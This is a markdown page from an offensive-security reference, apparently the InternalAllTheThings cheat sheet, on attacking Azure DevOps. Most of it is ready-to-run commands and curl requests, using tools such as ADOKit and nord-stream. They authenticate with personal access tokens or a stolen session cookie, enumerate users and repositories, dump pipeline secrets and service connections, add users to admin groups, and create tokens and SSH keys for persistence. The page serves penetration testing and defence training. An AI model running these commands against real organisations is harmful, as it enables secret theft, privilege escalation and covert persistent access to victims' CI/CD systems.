azure-services-devops.md (8202B)
1 --- 2 title: "Azure Services - Azure DevOps" 3 section: "Cloud" 4 sectionSlug: "cloud" 5 sourcePath: "docs/cloud/azure/azure-services-devops.md" 6 sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/cloud/azure/azure-services-devops.md" 7 sha: "203bb0c0b290" 8 isIndex: false 9 --- 10 11 # Azure Services - Azure DevOps 12 13 * [xforcered/ADOKit](https://github.com/xforcered/ADOKit) - Azure DevOps Services Attack Toolkit 14 * [zolderio/devops](https://github.com/zolderio/devops) - Azure DevOps Access Testing Scripts 15 * [synacktiv/nord-stream](https://github.com/synacktiv/nord-stream) - Nord Stream is a tool that allows you to extract secrets stored inside CI/CD environments by deploying malicious pipelines. It currently supports Azure DevOps, GitHub and GitLab. 16 17 ```ps1 18 # List all secrets from all projects 19 $ nord-stream.py devops --token "$PAT" --org myorg --list-secrets 20 21 # Dump all secrets from all projects 22 $ nord-stream.py devops --token "$PAT" --org myorg 23 ``` 24 25 ## Authentication 26 27 You can access an organization's Azure DevOps Services instance via <https://dev.azure.com/{yourorganization}>. 28 29 * Username and Password 30 * Authentication Cookie `UserAuthentication`: `ADOKit.exe whoami /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization` 31 * Personal Access Token (PAT): `ADOKit.exe whoami /credential:patToken /url:https://dev.azure.com/YourOrganization` 32 33 ```ps1 34 PAT="XXXXXXXXXXX" 35 organization="YOURORGANIZATION" 36 curl -u :${PAT} https://dev.azure.com/${organization}/_apis/build-release/builds 37 ``` 38 39 * Access Token with FOCI (MS Authenticator) 40 41 ```ps1 42 roadtx auth --device-code -c 4813382a-8fa7-425e-ab75-3b753aab3abb 43 roadtx refreshtokento -c 1950a258-227b-4e31-a9cf-717495945fc2 -r 499b84ac-1321-427f-aa17-267ca6975798/.default 44 python main.py --token $(jq -r '.accessToken' .roadtools_auth) repositories 45 ``` 46 47 ## Recon 48 49 * Search files: `file:FileNameToSearch`, `file:Test* OR file:azure-pipelines*` 50 51 ```ps1 52 curl -i -s -k -X $'GET' 53 -H $'Content-Type: application/json' 54 -H $'User-Agent: SOME_USER_AGENT' 55 -H $'Authorization: Basic BASE64ENCODEDPAT' 56 -H $'Host: dev.azure.com' 57 $'https://dev.azure.com/YOURORGANIZATION/PROJECTNAME/_apis/git/repositories/REPOSITORYID/items?recursionLevel=Full&api-version=7.0' 58 ``` 59 60 * Search code: `ADOKit.exe searchcode /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"search term"` 61 62 ```ps1 63 curl -i -s -k -X $'POST' 64 -H $'Content-Type: application/json' 65 -H $'User-Agent: SOME_USER_AGENT' 66 -H $'Authorization: Basic BASE64ENCODEDPAT' 67 -H $'Host: almsearch.dev.azure.com' 68 -H $'Content-Length: 85' 69 -H $'Expect: 100-continue' 70 -H $'Connection: close' 71 --data-binary $'{\"searchText\": \"SEARCHTERM\", \"skipResults\":0,\"takeResults\":1000,\"isInstantSearch\":true}' 72 $'https://almsearch.dev.azure.com/YOURORGANIZATION/_apis/search/codeAdvancedQueryResults?api-version=7.0-preview' 73 ``` 74 75 * Enumerate users 76 77 ```ps1 78 curl -i -s -k -X $'GET' 79 -H $'Content-Type: application/json' 80 -H $'User-Agent: SOME_USER_AGENT' 81 -H $'Authorization: Basic BASE64ENCODEDPAT' 82 -H $'Host: dev.azure.com' 83 $'https://dev.azure.com/YOURORGANIZATION/_apis/graph/users?api-version=7.0' 84 ``` 85 86 * Enumerate groups: `ADOKit.exe getgroupmembers /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /group:"search term"` 87 88 ```ps1 89 curl -i -s -k -X $'GET' 90 -H $'Content-Type: application/json' 91 -H $'User-Agent: SOME_USER_AGENT' 92 -H $'Authorization: Basic BASE64ENCODEDPAT' 93 -H $'Host: dev.azure.com' 94 $'https://dev.azure.com/YOURORGANIZATION/_apis/graph/groups?api-version=7.0' 95 ``` 96 97 * Enumerate project permissions: `ADOKit.exe getpermissions /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /project:"project name"` 98 99 * Get the user profile of the user from access_token: <https://app.vssps.visualstudio.com/_apis/profile/profiles/me?api-version=7.1> 100 * Get the organizations that user belongs to: <https://app.vssps.visualstudio.com/_apis/accounts?memberId={UserID}?api-version=7.1> 101 * Get the repositories inside of that organization: <https://dev.azure.com/{org_name}/_apis/projects?api-version=7.1> 102 103 ## Privilege Escalation 104 105 * Adding User to Group: `ADOKit.exe addcollectionbuildadmin /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /user:"username"` 106 107 ```ps1 108 curl -i -s -k -X $'PUT' 109 -H $'Content-Type: application/json' 110 -H $'User-Agent: Some User Agent' 111 -H $'Authorization: Basic base64EncodedPAT' 112 -H $'Host: vssps.dev.azure.com' 113 -H $'Content-Length: 0' 114 $'https://vssps.dev.azure.com/YourOrganization/_apis/graph/memberships/userDescriptor/groupDescriptor?api-version=7.0-preview.1' 115 ``` 116 117 * Retrieve build variables and secrets: `ADOKit.exe getpipelinevars /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /project:"project name"`, `ADOKit.exe getpipelinesecrets /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /project:"project name"` 118 119 ```ps1 120 curl -i -s -k -X $'GET' 121 -H $'Content-Type: application/json' 122 -H $'User-Agent: Some User Agent' 123 -H $'Authorization: Basic base64EncodedPAT' 124 -H $'Host: dev.azure.com' 125 $'https://dev.azure.com/YourOrganization/ProjectName/_apis/build/Definitions/DefinitionIDNumber?api-version=7.0' 126 ``` 127 128 * Retrieve Service Connection Information: `ADOKit.exe getserviceconnections /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /project:"project name"` 129 130 ```ps1 131 curl -i -s -k -X $'GET' 132 -H $'Content-Type: application/json;api-version=5.0-preview.1' 133 -H $'User-Agent: Some User Agent' 134 -H $'Authorization: Basic base64EncodedPAT' 135 -H $'Host: dev.azure.com' 136 $'https://dev.azure.com/YourOrganization/YourProject/_apis/serviceendpoint/endpoints?api-version=7.0' 137 ``` 138 139 ## Persistence 140 141 * Create a PAT: `ADOKit.exe createpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization` 142 143 ```ps1 144 curl -i -s -k -X $'POST' 145 -H $'Content-Type: application/json' 146 -H $'Accept: application/json;api-version=5.0-preview.1' 147 -H $'User-Agent: Some User Agent' 148 -H $'Host: dev.azure.com' 149 -H $'Content-Length: 234' 150 -H $'Expect: 100-continue' 151 -b $'X-VSS-UseRequestRouting=True; UserAuthentication=stolenCookie' 152 --data-binary $'{\"contributionIds\":[\"ms.vss-token-web.personal-accesstoken-issue-session-tokenprovider\"],\"dataProviderContext\":{\"properties\":{\"displayName\":\"PATName\",\"validTo\":\"YYYY-MMDDT00:00:00.000Z\",\"scope\":\"app_token\",\"targetAccounts\":[]}}}}}' 153 $'https://dev.azure.com/YourOrganization/_apis/Contribution/HierarchyQuery' 154 ``` 155 156 * Create SSH Keys: `ADOKit.exe createsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /sshkey:"ssh pub key"` 157 158 ```ps1 159 curl -i -s -k -X $'POST' 160 -H $'Content-Type: application/json' 161 -H $'Accept: application/json;api-version=5.0-preview.1' 162 -H $'User-Agent: Some User Agent' 163 -H $'Host: dev.azure.com' 164 -H $'Content-Length: 856' 165 -H $'Expect: 100-continue' 166 -b $'X-VSS-UseRequestRouting=True; UserAuthentication=stolenCookie' 167 --data-binary $'{\"contributionIds\":[\"ms.vss-token-web.personal-accesstoken-issue-session-tokenprovider\"],\"dataProviderContext\":{\"properties\":{\"displayName\":\"SSHKeyName\",\"publicData\":\"public SSH key content\",\"validTo\":\"YYYY-MMDDT00:00:00.000Z\",\"scope\":\"app_token\",\"isPublic\":true,\"targetAccounts\":[\"organizationID\"]}}}}}' 168 $'https://dev.azure.com/YourOrganization/_apis/Contribution/HierarchyQuery' 169 ``` 170 171 ## References 172 173 * [Hiding in the Clouds: Abusing Azure DevOps Services to Bypass Microsoft Sentinel Analytic Rules - Brett Hawkins - November 6, 2023](https://www.ibm.com/downloads/cas/5JKAPVYD) 174 * [DevOps access is closer than you assume - rikvduijn - January 21, 2025](https://zolder.io/blog/devops-access-is-closer-than-you-assume/) 175 * [Training - Attacking and Defending Azure Lab - Altered Security](https://www.alteredsecurity.com/azureadlab)